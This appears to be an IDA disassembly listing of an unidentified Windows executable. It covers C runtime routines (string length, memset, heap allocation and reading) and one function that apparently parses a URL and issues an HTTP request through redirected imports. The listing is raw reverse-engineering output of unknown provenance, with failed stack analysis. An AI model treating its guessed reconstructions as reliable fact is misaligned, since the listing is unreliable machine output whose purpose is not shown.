sub_41ACF6	proc near		; CODE XREF: sub_401ACD+279Cp
					; sub_401ACD+72F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4CB70C, 0
		jnz	short loc_41AD62
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CB4E8
		test	eax, eax
		jnz	short loc_41AD4B
		lea	eax, [ebp+var_8C]
		push	offset dword_43A84C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AD4B:				; CODE XREF: sub_41ACF6+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD58
		push	offset dword_43A844
		jmp	short loc_41AD5D
; ---------------------------------------------------------------------------


loc_41AD58:				; CODE XREF: sub_41ACF6+59j
		push	offset off_43A840


loc_41AD5D:				; CODE XREF: sub_41ACF6+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7A
; ---------------------------------------------------------------------------


loc_41AD62:				; CODE XREF: sub_41ACF6+28j
		mov	esi, offset off_43A83C
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41AD7A:				; CODE XREF: sub_41ACF6+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A7F8
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB5	proc near		; DATA XREF: sub_401ACD+7714o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A92C
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CB520
		test	eax, eax
		jz	loc_41AF4F
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8C
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AE8C:				; CODE XREF: sub_41ADB5+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAA
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEAA:				; CODE XREF: sub_41ADB5+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC4
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEC4:				; CODE XREF: sub_41ADB5+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDE
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEDE:				; CODE XREF: sub_41ADB5+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CB5D4
		call	dword_4CB5F8
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF67
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CB5EC
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CB598
		test	eax, eax
		jz	short loc_41AF48
		push	offset dword_43A910
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF48:				; CODE XREF: sub_41ADB5+18Aj
		push	offset unk_43A8D4
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF4F:				; CODE XREF: sub_41ADB5+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A8B8
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF81
; ---------------------------------------------------------------------------


loc_41AF67:				; CODE XREF: sub_41ADB5+153j
		push	offset unk_43A88C
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF6E:				; CODE XREF: sub_41ADB5+17Bj
		push	offset unk_43A85C


loc_41AF73:				; CODE XREF: sub_41ADB5+191j
					; sub_41ADB5+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AF81:				; CODE XREF: sub_41ADB5+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAC
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A72
		add	esp, 14h


loc_41AFAC:				; CODE XREF: sub_41ADB5+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	esi
		call	dword_4CB658
		push	[ebp+var_4]
		call	dword_4CB658
		push	[ebp+var_1D8]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx
		int	3		; Trap to Debugger
sub_41ADB5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000


loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0


loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------


loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DAp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------


loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------


loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi


loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB31+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4DCFC8
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi


loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4DCFC4
		call	near ptr 2790000h
		nop


loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040F089p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------


loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]


loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax


loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]


loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------


loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4DCFC8
		cmp	eax, 3
		jnz	loc_41B342


loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4DCFC0
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi


loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h


loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5


loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi


loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DCFC4
		call	near ptr 27A0000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi


loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h


loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A


loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi


loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFC4
		nop
		call	near ptr 2850000h
		mov	edi, eax


loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B


loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4DB9AC, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------


loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi


loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_43C9A4
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------


loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi


loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h


loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B


loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4DCFC4
		nop
		call	near ptr 27A0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi


loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------


loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFC4
		call	near ptr 2850000h
		nop
		mov	edi, eax


loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B


loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4DB9AC, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------


loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi


loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFC4
		nop
		call	near ptr 2850000h
		test	eax, eax
		jnz	short loc_41B49D


loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4DB9AC, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D


loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax


loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------


loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB31+63p ...

arg_0		= dword	ptr  4

		push	dword_4DB9AC
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510


loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE


loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DCFC8
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4DCFC0
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------


loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi


loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_43C9A4
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------


loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi


loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4DCFC4
		nop
		call	near ptr 27A0000h


loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B5D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
		sub	edx, ecx


loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3


loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD


loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B5D7


loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B5F0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
